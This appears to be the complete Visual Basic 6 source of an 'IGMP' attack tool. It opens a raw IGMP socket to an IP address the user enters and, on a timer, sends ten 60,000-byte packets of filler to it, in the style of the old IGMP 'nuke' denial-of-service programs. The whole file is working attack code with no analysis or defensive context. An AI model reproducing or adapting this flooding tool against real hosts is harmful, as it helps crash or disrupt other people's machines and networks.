Option Explicit '*******************IGMP************************ Private Type SockAddr      sin_family As Integer     sin_port As Integer     sin_addr As String * 4     sin_zero As String * 8 End Type 
Private Type T_WSA      wVersion As Integer     wHighVersion As Integer     szDescription(0 To 255) As Byte     szSystemStatus(0 To 128) As Byte     iMaxSockets As Integer     iMaxUdpDg As Integer     lpVendorInfo As Long End Type
  Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal cb&) Private Declare Function inet_addr Lib "wsock32.dll" (ByVal addr As String) As Long Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal a As Long, b As T_WSA) As Long Private Declare Function WSACleanUp Lib "wsock32.dll" Alias "WSACleanup" () As Integer Private Declare Function Socket Lib "wsock32.dll" Alias "socket" (ByVal afinet As Integer, ByVal socktype As Integer, ByVal protocol As Integer) As Long Private Declare Function ConnectWinsock Lib "wsock32.dll" Alias "connect" (ByVal sock As Long, sockstruct As SockAddr, ByVal structlen As Integer) As Integer Private Declare Function send Lib "wsock32.dll" (ByVal sock As Long, ByVal msg As String, ByVal msglen As Long, ByVal flag As Integer) As Long Private Declare Function htons Lib "wsock32.dll" (ByVal a As Integer) As Integer Private Declare Function closesocket Lib "wsock32.dll" (ByVal sn As Long) As Integer Private sock As Long  Private t As Long   Private Sub cmd_Go_Click() If t > 0 Then      t = 0     Else           Dim addr As SockAddr           Dim x As Long           Dim ip As String           Dim y(0 To 3) As Byte           ip = ""           x = inet_addr(txt_IP.Text)            CopyMemory y(0), x, 4       For x = 0 To 3        ip = ip & Chr(y(x))      Next x           addr.sin_addr = ip           addr.sin_family = 2           addr.sin_port = htons(100)            addr.sin_zero = String(8, 0)                 If ConnectWinsock(sock, addr, Len(addr)) Then          MsgBox "connect error"         Exit Sub      End If      t = 10      Set cmd_Go.Picture = Image1.Picture       Timer1.Enabled = True End If End Sub Private Sub Form_Load() Dim WSAData As T_WSA Set cmd_Go.Picture = Image2.Picture      WSAStartup 514, WSAData      sock = Socket(2, 3, 2)       If sock < 0 Then        MsgBox "winsock error"        Unload Me      End If t = 0 End Sub Private Sub Form_Unload(Cancel As Integer) closesocket sock WSACleanUp  End Sub 
Private Sub Timer1_Timer()  If t Then      send sock, String(60000, "0"), 60000, 0      t = t - 1 Else      Timer1.Enabled = False      Set cmd_Go.Picture = Image2.Picture End If End Sub
  
   
 
  |